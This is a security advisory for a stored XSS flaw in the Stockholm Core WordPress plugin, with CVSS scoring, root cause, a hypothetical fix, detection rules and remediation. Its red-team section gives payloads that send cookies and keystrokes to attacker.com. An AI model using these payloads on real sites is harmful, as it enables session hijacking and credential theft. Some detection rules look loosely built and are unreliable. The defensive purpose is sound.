CVE-2025-68076

Executive Summary

CVE-2025-68076 is a Stored Cross-Site Scripting (XSS) vulnerability in the Stockholm Core plugin for the WordPress ecosystem, developed by Select-Themes. The flaw exists in versions up to and including 2.4.6, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and theme marketplaces. Users who have installed Stockholm Core as part of the Stockholm theme are at risk. Since the plugin is a commercial product, updates are managed by the vendor (Select-Themes). No open-source patch data is available from OSV or GitHub.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for site administrators and visitors.

Deep Dive & Mechanics

The vulnerability resides in the stockholm-core plugin, which provides custom post types, shortcodes, and theme options for the Stockholm WordPress theme. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in the browser. This is a classic Stored XSS (CWE-79) flaw.

Attack Flow:

1. An attacker with at least Contributor-level access to the WordPress site navigates to a vulnerable input field (e.g., a custom field, shortcode parameter, or widget).
2. The attacker injects a malicious JavaScript payload, such as <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database without proper sanitization.
4. When an administrator or other user views the page containing the stored payload, the script executes in their browser context.
5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo get_post_meta(...) or the_content() without applying esc_html(), wp_kses_post(), or similar escaping functions. The input is not validated against a whitelist of allowed HTML tags.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (stockholm-core <= 2.4.6):

// Example from a shortcode or template
echo get_post_meta( get_the_ID(), 'stockholm_custom_field', true );

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( get_post_meta( get_the_ID(), 'stockholm_custom_field', true ) );

Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Stockholm Core <= 2.4.6 installed and activated.
• Attacker account with Contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to a vulnerable input field (e.g., a custom field in a post or page).
3. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the post/page.
5. Wait for an administrator to view the page, or send them a direct link.
6. The administrator's cookies are exfiltrated to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for unusual post content containing <script> tags.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the Stockholm Core plugin until a patch is released.
• Restrict user roles: do not grant Contributor or Author access to untrusted users.
• Use a security plugin like Wordfence to add input sanitization.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for modified plugin files)
• Suspicious Database Entries: Posts or post meta containing <script>, onerror, onload, or javascript: URIs.
• Network Traffic: Outbound requests to unknown domains from the WordPress server, especially containing cookie data.
• Log Entries: Unusual POST requests to wp-admin/admin-ajax.php or wp-admin/post.php with script-like payloads.

Detection Engineering

YARA Rule

rule CVE_2025_68076_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post content for CVE-2025-68076"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68076"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS via Stockholm Core Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts targeting CVE-2025-68076 in WordPress
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in posts by trusted authors
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68076 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"cookie"; nocase; distance:0; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and remove stockholm-core until a patch is released.
2. Audit user roles: Remove untrusted users with Contributor or Author privileges.
3. Scan for compromise: Check posts and post meta for suspicious script tags.

Long-term Fix:

• Apply vendor patch when available (monitor Select-Themes updates).
• Implement input validation and output escaping in custom code.
• Use a Web Application Firewall (WAF) with XSS rules.

Workaround:

• Add the following to wp-config.php to disable unfiltered HTML for non-admins:

  define('DISALLOW_UNFILTERED_HTML', true);
  

Valters IT
Securing Digital Frontiers